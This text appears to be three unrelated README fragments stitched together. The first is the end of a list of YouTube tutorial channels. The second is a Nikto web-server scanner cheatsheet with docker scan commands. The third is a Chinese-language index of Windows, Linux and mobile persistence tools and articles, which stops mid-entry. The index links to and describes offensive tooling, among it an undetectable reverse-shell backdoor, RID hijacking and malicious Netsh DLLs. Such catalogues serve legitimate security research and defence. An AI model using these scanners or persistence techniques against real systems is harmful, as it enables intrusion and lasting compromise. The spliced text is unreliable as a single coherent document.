src="https://yt3.ggpht.com/ytc/AKedOLSW8zG2RFieP7BLOdCwMe3LNFNrb4Yia3IViynleg=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCScRSwdX0t31gjk3MYXIuYQ) [**Charli Marie TV**](https://www.youtube.com/channel/UCScRSwdX0t31gjk3MYXIuYQ) \ Content about: web, graphic design \ Featured playlists: `Design careers`, `Workflow`, `Design chat`, `Freelancing as a designer`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AKedOLTk233iPUrYYjd_Vs9j602bTjV7rLe0IAyvrJRe=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/YesImaDesigner) [**Yes I'm a Designer**](https://www.youtube.com/c/YesImaDesigner) \ Content about: Design principles, Design tools tutorials \ Featured playlists: `365 days of creativity`, `Illustrator CC`, `Indesing tutorials`, `Photoshop CC`. \ <br /> [🔼 Back to the top](#contents) ## Audio and video Tutorials about audio and video making. Includes wide topics, such as design, animation, rendering, hardware and more. Using the most popular and the best software to create stunning video animations, well-produced songs and stuff related to these topics. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzaWbDjViF6gjYUtZnSaPf7EAqhxo-UX_5vuXaRDQ=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/Obedia) [**OBEDIA**](https://www.youtube.com/c/Obedia) \ Content about: Audio, Hardware \ Featured playlists: `PreSonus Studio One Tutorials`, `Cubase Tutorials`, `Ableton Tutorials by OBEDIA`, `Cakewalk Sonar Tutorials`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJycV557ukLUO4022GP-8xFrGWBUjoj0PnUhQwuHRw=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/BlackMixture) [**Black Mixture**](https://www.youtube.com/c/BlackMixture) \ Content about: After Effects, Animation \ Featured playlists: `SPEEDPAINT ANIMATION`, `Motion Design`, `After Effects Tutorials`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJw1EJaU6c5-oLxVdCO91mNBSM0CaflC7YaVlbH67g=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/user/avnishparker) [**Avnish Parker**](https://www.youtube.com/user/avnishparker) \ Content about: Animation, Design \ Featured playlists: `After Effects Tutorials`, `Text Animation - After Effects Tutorials`, `Logo Intro - After Effects Tutorials`, `Motion Graphics - After Effects Tutorials`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyf22_Pytt7LNXFjm-oL0BAbT3Qu8j7Cphk0L2A=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/DenyKingYoutube) [**Deny King**](https://www.youtube.com/c/DenyKingYoutube) \ Content about: Video, Photos \ Featured playlists: `Video Editing`, `Manipulation PicsArt`, `many other video/photo editing videos`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzR_Ep_rWDUxvhDQaEUiN--4TpO3l1tDynnGDGx=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/user/AndrewPPrice) [**Blender Guru**](https://www.youtube.com/user/AndrewPPrice) \ Content about: Blender, 3D modeling \ Featured playlists: `Blender beginner tutorial series`, `Blender modeling chair tutorial`, `Couch tutorial series`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxM0K7wxdDj0TOqzP-qqkvafeirxwSV8G2I8SDfVA=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/user/badgesgabbitt) [**Grant Abbitt**](https://www.youtube.com/user/badgesgabbitt) \ Content about: 3D modeling, Reptology, Blender \ Featured playlists: `Learn sculpting in blender 2.8`, `Blender 2.8 for beginners full course`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxlxDpTb7dFWyQpXiPqWxGQ0WWWyA5GNwf72ru1=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/CGFastTrack) [**CG Fast Track**](https://www.youtube.com/c/CGFastTrack) \ Content about: Blender, 3D modeling \ Featured playlists: `Blender 2.9 Beginner Tutorial Series`, `CG Fast Track`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AL5GRJUS0B38G8QpJm-h4PDd3wtrYFuSup0a3ZqD_a8uLw=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/@CGGeek) [**CG Geek**](https://www.youtube.com/@CGGeek) \ Content about: Animation, Blender, 3D modeling, Visual Effects \ Featured playlists: `Blender beginner tutorial series`, `Bob Ross with Realistic 3D graphics`, `Blender Nature tutorials`, `Star wars 3D tutorials`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwnjrGM34PR7NdULgvDghJw8TqcbhPEVB35CxlbbhFw=s176-c-k-c0x00ffffff-no-rj"/>](hhttps://www.youtube.com/channel/UCuNhGhbemBkdflZ1FGJ0lUQ) [**DUCKY 3D**](https://www.youtube.com/channel/UCuNhGhbemBkdflZ1FGJ0lUQ) \ Content about: Video, Photos \ Featured playlists: `Shading with nodes`.`Making looping animations with Blender in Eevee engine` \ <br /> [🔼 Back to the top](#contents) ## Hardware CPU's, motherboards, monitors, keyboards, mouses, PC's/Laptops and all about hardware. Modems and routers can be also found here, as well as the newest phones and other technological gadgets. Get recommendations and price/quality comparisons about these products. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwcYEZYVuVI4MejVHLNgPMLSWYzXmhTyVjgcweM=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/TeachingTech) [**Teaching Tech**](https://www.youtube.com/c/TeachingTech) \ Content about: Printing \ Featured playlists: `3D printing for beginners`, `3D Printing`, `Ender playlists`, `Onshape 3D Modelling`, `Printer reviews playlists`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwQoPNwqUbfu_y7o7GWaeZgX8ovoHSYuWfbiJLR8g=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/LinusTechTips) [**Linus Tech Tips**](https://www.youtube.com/c/LinusTechTips) \ Content about: All hardware \ Featured playlists: `Build Guides, Buyer's Guides, and Ultimate Guides`, `Computer Systems & All-in-Ones`, `CPU, Motherboard, Memory Videos`, `many more`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AMLnZu-fScLPO4kV3revBwVIkhHokXoDyfVl4FKPquTuyg=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/GamersNexus) [**Gamers Nexus**](https://www.youtube.com/c/GamersNexus) \ Content about: All hardware \ Featured playlists: `Hardware News`, `PC Case Reviews`, `Pre-Built Gaming PC Reviews`, `many more`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.googleusercontent.com/JWC97n97fCcVa6uMCAC_XlKjo91rssPzawguIrehF9P3O3eWL70JXhLeuSa1uwShcEgTh7YjxQ=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/Jayztwocents) [**JayzTwoCents**](https://www.youtube.com/c/Jayztwocents) \ Content about: All hardware \ Featured playlists: `PC Building`, `GPU`, `Custom Builds`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzuLlqZ7x3U3Nbdg8BuL0GGAkQh00S9Sh87UTUV_Q=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/Educ8s) [**educ8s.tv**](https://www.youtube.com/c/Educ8s) \ Content about: Arduino \ Featured playlists: `Arduino Tutorials for Beginners`, `Raspberry Pi Tutorials for Beginners`, `a lot more Arduino tutorials/projects videos!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJz9XEhgD0AaVFVvsxDHzQBAZ84xTwIokpOzarR3fg=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/user/greatscottlab) [**GreatScott!**](https://www.youtube.com/user/greatscottlab) \ Content about: Raspberry Pi, 3D Printing, Electronics \ Featured playlists: `3D Printing`, `DIY or Buy`, `Build your own Ambilight with the Raspberry Pi`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzlJaQx61gcwSaB_BuzUuGmiI760apf7T93lzoo=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/user/RaspberryPiBeginners) [**RaspberryPiIVBeginners**](https://www.youtube.com/user/RaspberryPiBeginners) \ Content about: Raspberry Pi \ Featured playlists: `Getting started with your Raspberry Pi`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJy17nmM3at2dVGVn8DmWURJf1eULCoPqC-lS517AQ=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/user/explainingcomputers) [**ExplainingComputers**](https://www.youtube.com/user/explainingcomputers) \ Content about: Raspberry Pi, Electronics, Operation System \ Featured playlists: `Artificial Intelligence`, `Pi Zero Projects`, `Migrating to Linux`, `many more`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AMLnZu_MySAuuGYGYlGD62nLVgaZHGYFAMSTJh7D3YPIMQ=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/ETAPRIME) [**ETA PRIME**](https://www.youtube.com/c/ETAPRIME) \ Content about: Raspberry Pi, Electronics, Operation System, Single Board Computers, Gaming \ Featured playlists: `Single Board Computer Reviews`, `Gaming on SBCs`, `many more`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AL5GRJXg0un1rLvqfNvehwVVtDq_1pxwsx3BOCc9PA-1KQ=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/@ServeTheHomeVideo) [**ServeTheHome**](https://www.youtube.com/@ServeTheHomeVideo) \ Content about: Server Hardware, Networking and other hardware for the professional \ Featured playlists: `About Servers`, `Fanless`, `Mini PC`, `Workstations`, `Current Events`, `Storage`, `Server Processors`, `Networking`, `Cool server hardware`. <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.googleusercontent.com/4toKBJKPsAfwxy2xfr_EQJ7CuHpLvZa4eux6T2TAf8EU25uH_G9gbUA9djqaCrTjkIESnPjzww=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/@BranchEducation) [**Branch Education**](https://www.youtube.com/@BranchEducation) \ Content about: All technological devices internal working \ Featured playlists: `Memory`, `SSD`, `Microchips`, `Mouse`, `PCB`. [🔼 Back to the top](#contents) ## Competitive programming Most of the companies interview process involves coding challenges. Competitive programming is like a sports held over the Internet where programmers will compete with each other. The below list contains some of the channels you can follow to brush up your competitive programming skills. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AMLnZu-vxWUfyxiYaed6g7no_ja24Sk4bOQvqy3vOA=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/user/tusharroy2525) [**Tushar Roy - Coding Made Simple**](https://www.youtube.com/user/tusharroy2525) \ Content about: Data Structures and Algorithms, Dynamic Programming, Leetcode \ Featured playlists: `Dynamic Programming`, `Graph Algorithms`, `Binary Tree`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AMLnZu-4yBAeUqkQJoGr-uFZWKanliUJj6UjshqqAcBGMt0=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/GauravSensei) [**Gaurav Sen**](https://www.youtube.com/c/GauravSensei) \ Content about: System Design, Data Structures & Algorithms \ Featured playlists: `System Design`, `Competitive Programming A-Z`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/efrVnDJbJOQ5XcXrrFhA9V2wTXh6gP_i0KycoYjqhN3nEh6VbCgqMQakAcFqEsguw7wxhHEjnA=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/ByteByteGo) [**ByteByteGo**](https://www.youtube.com/c/ByteByteGo) \ Content about: Large scale system design \ Featured playlists: `Algorithms You Should Know For System Design`, `System Design Fundamentals`, `System Design Interview`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AMLnZu9dupLKLe6WOebxccdC3Im4aHMfCR9M4GjydKOZ=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/CSDojo) [**CS Dojo**](https://www.youtube.com/c/CSDojo) \ Content about: Data Structures & Algorithms \ Featured playlists: `Data Structures and Algorithms`, `Coding Interview Questions and Answers`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AMLnZu-mNYkWKdRO5UORKk8xmG_Gyb11N4PbiJ0BZlZW8Q=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/BackToBackSWE) [**Back To Back SWE**](https://www.youtube.com/c/BackToBackSWE) \ Content about: Leetcode, Software Engineering Interview \ Featured playlists: `Tree, Binary Trees & Binary Search Tree`, `Sorting, Searching & Heaps`, `Dynamic Programming, Recursion & Backtracking`, `Graphs, Greedy Algorithms & Other`. <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AMLnZu8aa8BR8qGCyjKSHpnt5qCFReOEZ_xTtK3hqknPgA=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/Errichto) [**Errichto**](https://www.youtube.com/c/Errichto) \ Content about: Leetcode, Codeforces \ Featured playlists: `Codeforces Problems`, `Leetcode Coding Interview Problems`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/FqiGBOsNpeWbNw20ULboW0jy88JdpqFO9a-YRJ0C2oc4lZ8uoHYJ38PWSkrjdC_zQgNW9pGU=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/NeetCode) [**NeetCode**](https://www.youtube.com/c/NeetCode) \ Content about: Leetcode, Coding Interview \ Featured playlists: `LeetCode East`, `LeetCode Medium`, `LeetCode Hard`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.googleusercontent.com/nJZ_GcVB5zWL5Z526_vwiEeT7vdKqWjzLxKQdeHaXnoWbzOAIJzI7a5i0mVvLHjkt3TJK3oifg=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/KevinNaughtonJr) [**Kevin Naughton Jr.**](https://www.youtube.com/c/KevinNaughtonJr) \ Content about: Leetcode, Coding Interview \ Featured playlists: `Technical Interview Questions`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/MWCIzDNJJrk7mU5kV2V9EnyaKXVPn5en7uyX589c2Bu1iizhHY4h1ih02JZJ1cv8KCM8uY8g4OQ=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/NickWhite) [**Nick White**](https://www.youtube.com/c/NickWhite) \ Content about: Leetcode, HackerRank, Coding Interview \ Featured playlists: `LeetCode Solution`, `HackerRank Solution`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.googleusercontent.com/fSej0H2ok--_bj9NiNPw53QSJwWnsUBVJ0UhvR5h-OGaHICJg6Y7j0wUwWyTFDbHUODUJfci=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/PriyanshAgarwal) [**Priyansh Agarwal**](https://www.youtube.com/c/PriyanshAgarwal) \ Content about: Code Chef, Codeforces \ Featured playlists: `Codeforces Screencasts`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxY8Nw3Fq5b3ekWwaTlnHqejPAn1tWfusN4kVobug=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/WilliamFiset-videos) [**WilliamFiset**](https://www.youtube.com/c/WilliamFiset-videos) \ Content about: Algoritms, Data structures \ Featured playlists: `Network Flow playlist`, `Data structures playlist`, `Graph Theory Playlist`, `Tree Algoritms`, `Dynamic Programming`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJymF9D2kCpzhV3feeWOuCw_xf2FzmYUCabaBrhj=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCXpGqiSd3BD0FQ9OP3ziFsw) [**KodingKevin**](https://www.youtube.com/channel/UCXpGqiSd3BD0FQ9OP3ziFsw) \ Content about: Data Structures, Algorithms, Coding Interview \ Featured playlists: `Array Methods Mini Course`, `Javascript Algorithms + Data Structures`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwnjNuAEn_s-yPHJAT4w-d-r4rUHdEZow5w0fyg47=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCmWDlvMYYEbW42B8JyxFBcA) [**NullPointer Exception**](https://www.youtube.com/channel/UCmWDlvMYYEbW42B8JyxFBcA) \ Content about: Theoretical, Data \ Featured playlists: `Introduction to Data Structures`, `Sorting Algorithm Lectures/Visualizations`, `Introduction to Object-Oriented Programming`. [🔼 Back to the top](#contents) ## Life skills Your professional side can be reinforced while watching these tutorials. It's important to know how to manage you money and keep track of it, as well as tips to get the job you want or start one by yourself. Find also coding/design/tech companies interview methods. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwe6TjwIlLLS09rBm-AG81b6PslL87sIu8ULLAvpw=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/GcflearnfreeOrgplus) [**GCFLearnFree.org**](https://www.youtube.com/c/GcflearnfreeOrgplus) \ Content about: Job searching, General skills, Life tips \ Featured playlists: `Searching For A Job`, `Economic thinking playlists`, `Office Suite tutorials`, `Making Decisions`, `Life skills playlists`, `and more!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/3dhST2suIfX5hbfWZixmdxRBUDyGx01B-_IE3wqBp2tBjgBpBWbF-m5rltC_RbWEq4_2pqlV=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/@EngineeringwithUtsav) [**Engineering with Utsav**](https://www.youtube.com/@EngineeringwithUtsav) \ Content about: Career, Productivity, Software engineering, Life tips \ Featured playlists: `Finance`, `Start ups`, `Book reviews & recommendations`, `Productivity`, `Technical interview preparation`, `Career & success`, `Software engineering`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyC_QqT1Fm-GExDj7psvvDxEK6k8G4zqJo6Q0SXwg=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/hellomayuko) [**mayuko**](https://www.youtube.com/c/hellomayuko) \ Content about: Job tips, Health \ Featured playlists: `How to Kickstart Your Software Engineering Career`, `📈career 📈`, `🖥t e c h 🖥`, `🌱health 🌱`. [<img align="left" height="94px" width="94px" alt="JChannel's avatar" src="https://yt3.ggpht.com/a/AATXAJzsLfjQGNpQtVWS4hXGxM6F21cdArOL-sTIu9rOXw=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/user/Tychos1) [**Joshua Fluke**](https://www.youtube.com/user/Tychos1) \ Content about: Interviews, Portfolio Reviews, Getting a Job \ Featured playlists: `Entrepreneurship`, `How to apply to jobs`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwnVxHV9cR_nofTeCXS3x2H2jRQjH3YEq8sYqpM=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/JomaOppa) [**Joma Tech**](https://www.youtube.com/c/JomaOppa) \ Content about: Programming, Job Offers, Salaries, Interviewing \ Featured playlists: `Path to Software Engineering`, `Tech Shows`, `Startup Series`, `Interviews`, `Data Science Analytics`. [🔼 Back to the top](#contents) <details> <summary>Credits</summary> <sub>Note that this <strong>is not</strong> a promotional list of any kind.</sub> <br /> <sub>The list style is heavily inspired by <a href="https://github.com/mhxion/awesome-discord-communities">awesome-discord-communities</a>, created by <a href="https://github.com/mhxion">mhxion</a>. This repository was my inspiration as I consider <a href="https://github.com/JoseDeFreitas/awesome-youtubers">this list</a> also looks good with the same table-style in this file. <br /> The awesome-youtubers logo was made by <a href="https://github.com/JoseDeFreitas/">José De Freitas</a>. <br /> The <a href="/logo.svg">awesome-youtubers logo</a> is inspired by the <a href="https://github.com/sindresorhus/awesome/blob/main/badges/logo.svg">awesome logo</a> and the <a href="https://github.com/sindresorhus/awesome-nodejs/blob/master/badges/logo.svg">awesome-nodejs logo</a>. The two play icons were created following the play button of the <a href="https://lh3.googleusercontent.com/z6Sl4j9zQ88oUKNy0G3PAMiVwy8DzQLh_ygyvBXv0zVNUZ_wQPN_n7EAR2By3dhoUpX7kTpaHjRPni1MHwKpaBJbpNqdEsHZsH4q">YouTube logo</a>. It's just a representation, I'm not using the YouTube logo itself.</sub> </details>
## Description **Nikto** is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated. Nikto is not designed as a stealthy tool. It will test a web server in the quickest time possible, and is obvious in log files or to an IPS/IDS. However, there is support for LibWhisker's anti-IDS methods in case you want to give it a try (or test your IDS system). Not every check is a security problem. There are some items that are "info only" type checks that look for things that may not have a security flaw, but Pentester may not know are present on the server. These items are usually marked appropriately in the information printed. There are also some checks for unknown items which have been seen scanned for in log files. The goal of the project is to examine a web server to find potential problems and security vulnerabilities, including: - Server and software misconfigurations - Default files and programs - Insecure files and programs - Outdated servers and programs - Pointers to lead a human tester to better manual testing Nikto is built on LibWhisker2 (by Rain Forest Puppy) and can run on any platform which has a Perl environment. It supports SSL, proxies, host authentication, attack encoding and more. ## Cheatsheet ### To scan a particular host ``` docker run -it --rm secsi/nikto -host <target_ip_address> ``` ### To scan a host on multiple ports (default = 80) ``` docker run -it --rm secsi/nikto -host <target_ip_address> -port [port number 1], [port number 2], [port number 3] ``` ### To scan a host and output fingerprinted information to a file ``` docker run -it --rm -v <output_dir>:/output secsi/nikto -host <target_ip_address> -output /output/<output_file> ``` ### To use a proxy while scanning a host ``` docker run -it --rm secsi/nikto -host <target_ip_address> -useproxy <proxy_address> ```
# [所有收集类项目](https://github.com/alphaSeclab/all-my-collection-repos) # Persistence - 跟驻留/持久化有关的工具和文章,多平台。包括80个工具和350左右文章。 - [English Version](https://github.com/alphaSeclab/persistence/blob/master/Readme_en.md) # 目录 - [Windows](#778ee28406147330e50ce8e39e1e0510) -> [(8)工具](#a563fd944f51033ab1823cc51ce5cc84) [(42)文章](#9473a67a0be440ab564685f35d01322b) - [Linux](#d85c33dfafdf2941e8865e38d7abdc70) -> [(1)工具](#3fff7861fe9a68d96798413b150bf775) [(3)文章](#edadf03a82a99fb2d7bfda27c4d320d4) - [macOS](#92795e827b3b796c276aeb42cd7ba7bc) -> [(10)文章](#920d31fa243672149cb4b16f6bd5c43c) - [Android](#96c32cb67d39a39ca6ebcbf437ad5be0) -> [(2)工具](#6f8c8181aaceb3707bf31e05ef01aff7) [(3)文章](#0c8cc0e282af1c3976f089a32f0490ef) - [iOS](#f2fca029044e3c784f5b8fedc992ade4) -> [(2)工具](#11669583787f71136e12da932d6e60b6) [(1)文章](#79422f0e817849c95cc8b24650f95d94) - [新添加](#1006e9d79182efe6f1cb25f4da74e7e1) - [(67) 工具](#f14b1b535106867820036c96a82f55ed) - [(212) 文章](#426ad781ce4166338e198a70e025885d) - [(23) 文章-pentestlab](#e63f08b4b1c54539573027e192270441) - [(54) 文章-恶意代码](#396a097eb8cc253fd43f518f1ea43168) - [(3) 文章-hackingarticles](#91f798eff3ccabbbb76ab957994aec46) # <a id="778ee28406147330e50ce8e39e1e0510"></a>Windows *** ## <a id="a563fd944f51033ab1823cc51ce5cc84"></a>工具 - [**336**星][4m] [C#] [fireeye/sharpersist](https://github.com/fireeye/sharpersist) Windows persistence toolkit - [**107**星][12m] [PS] [r4wd3r/rid-hijacking](https://github.com/r4wd3r/rid-hijacking) Windows RID Hijacking persistence technique - [**98**星][5y] [PS] [enigma0x3/invoke-altdsbackdoor](https://github.com/enigma0x3/invoke-altdsbackdoor) obtain persistence on a Windows 7+ machine under both Standard and Administrative accounts by using two Alternate Data Streams - [**66**星][3y] [Py] [darkquasar/wmi_persistence](https://github.com/darkquasar/wmi_persistence) Python脚本,直接解析 OBJECTS.DATA 文件(无需访问用户WMI 名称空间)查找 WMI persistence - [**60**星][2m] [Go] [giuliocomi/backoori](https://github.com/giuliocomi/backoori) Tool aided persistence via Windows URI schemes abuse - [**17**星][8m] [Go] [mthbernardes/badarchitect](https://github.com/mthbernardes/badarchitect) Abusing SketchUp to make persistence on Windows - [**6**星][4m] [C] [1captainnemo1/persistentcreverseshell](https://github.com/1captainnemo1/persistentcreverseshell) A PERSISTENT FUD Backdoor ReverseShell coded in C for any Windows distro, that will make itself persistent on every BOOT and fire a decoy app in the foreground while connecting back to the attacker machine as a silent background process , spawning a POWERSHELL on the attacker machine. - [**5**星][4m] [C++] [rtcrowley/offensive-netsh-helper](https://github.com/rtcrowley/offensive-netsh-helper) Maintain Windows Persistence with an evil Netshell Helper DLL *** ## <a id="9473a67a0be440ab564685f35d01322b"></a>文章 - 2020.04 [hackingarticles] [Windows Persistence using Netsh](https://www.hackingarticles.in/windows-persistence-using-netsh/) - 2020.04 [hackingarticles] [Windows Persistence using Bits Job](https://www.hackingarticles.in/windows-persistence-using-bits-job/) - 2020.04 [hackingarticles] [Windows Persistence using WinLogon](https://www.hackingarticles.in/windows-persistence-using-winlogon/) - 2020.01 [hackingarticles] [Windows Persistence using Application Shimming](https://www.hackingarticles.in/windows-persistence-using-application-shimming/) - 2020.01 [hackingarticles] [Multiple Ways to Persistence on Windows 10 with Metasploit](https://www.hackingarticles.in/multiple-ways-to-persistence-on-windows-10-with-metasploit/) - 2020.01 [pentestlab] [Persistence – WMI Event Subscription](https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/) - 2019.10 [secjuice] [Abusing Windows 10 Narrator 'Feedback-Hub' for Fileless Persistence](https://www.secjuice.com/abusing-windows-10-for-fileless-persistence/) - 2019.10 [aliyun] [windows中常见后门持久化方法总结](https://xz.aliyun.com/t/6461) - 2019.07 [rootedconmadrid] [Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go :(" [RootedCON2019-ENG]](https://www.youtube.com/watch?v=J8aMjF78l48) - 2019.07 [rootedconmadrid] [Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go :(" [RootedCON2019-ESP]](https://www.youtube.com/watch?v=xXzDPI7MCuY) - 2019.05 [mdsec] [Persistence: “the continued or prolonged existence of something”: Part 3 – WMI Event Subscription](https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-3-wmi-event-subscription/) - 2019.05 [remoteawesomethoughts] [Windows 10 - Task Scheduler service - Privilege Escalation/Persistence through DLL planting](https://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html) - 2019.03 [hackingarticles] [Windows Persistence with PowerShell Empire](https://www.hackingarticles.in/windows-persistence-with-powershell-empire/) - 2019.02 [freebuf] [常见的几种windows后门持久化方式](https://www.freebuf.com/vuls/195906.html) - 2019.01 [fuzzysecurity] [Windows用户模式下恶意软件驻留方式汇总(2014年11月)](http://fuzzysecurity.com/tutorials/19.html) - 2019.01 [4hou] [如何检测并清除WMI持久化后门](http://www.4hou.com/technology/14024.html) - 2018.10 [4hou] [利用Windows库文件进行持久化攻击](http://www.4hou.com/web/14044.html) - 2018.10 [aliyun] [如何检测并清除WMI持久性后门](https://xz.aliyun.com/t/2873) - 2018.10 [360] [如何滥用Windows库文件实现本地持久化](https://www.anquanke.com/post/id/161492/) - 2018.10 [countercept] [Abusing Windows Library Files for Persistence](https://countercept.com/blog/abusing-windows-library-files-for-persistence/) - 2018.10 [countercept] [Abusing Windows Library Files for Persistence](https://countercept.com/our-thinking/abusing-windows-library-files-for-persistence/) - 2018.09 [oddvar] [Persistence using Universal Windows Platform apps (APPX)](https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/) - 2018.08 [swordshield] [Sticking Around: Common Windows Malware Persistence Mechanisms](https://www.swordshield.com/blog/windows-malware-persistence-mechanisms/) - 2018.07 [BSidesTLV] [Abusing WMI Providers For Persistence - Philip Tsukerman](https://www.youtube.com/watch?v=mkvGcf63_9k) - 2018.05 [pentestingexperts] [Advance Persistent Threat – Lateral Movement Detection in Windows Infrastructure – Part I](http://www.pentestingexperts.com/advance-persistent-threat-lateral-movement-detection-in-windows-infrastructure-part-i/) - 2018.04 [infosecinstitute] [Advance Persistent Threat - Lateral Movement Detection in Windows Infrastructure - Part II](http://resources.infosecinstitute.com/advance-persistent-threat-lateral-movement-detection-windows-infrastructure-part-ii/) - 2018.03 [infosecinstitute] [Advance Persistent Threat – Lateral Movement Detection in Windows Infrastructure – Part I](http://resources.infosecinstitute.com/advance-persistent-threat-lateral-movement-detection-windows-infrastructure-part/) - 2017.03 [360] 